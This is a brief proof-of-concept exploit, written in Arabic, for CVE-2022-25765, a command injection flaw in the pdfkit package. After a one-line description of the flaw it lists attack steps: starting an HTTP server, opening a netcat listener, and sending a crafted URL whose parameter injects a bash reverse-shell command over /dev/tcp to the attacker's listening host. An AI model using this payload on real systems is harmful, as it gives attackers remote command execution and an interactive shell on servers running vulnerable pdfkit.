PDFkit-CMD-Injection

تفاصيل CVE-2022-25765

الوصف

حزمة pdfkit منذ الإصدار 0.0.0 معرضة لثغرة حقن الأوامر، حيث لا يتم تنقية عنوان URL بشكل صحيح.

PoC

ابدأ خادم HTTP

1- python3 -m http.server 80

ابدأ مستمع netcat

2- nc -lnvp 'Target Port'

أرسل طلبًا

3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}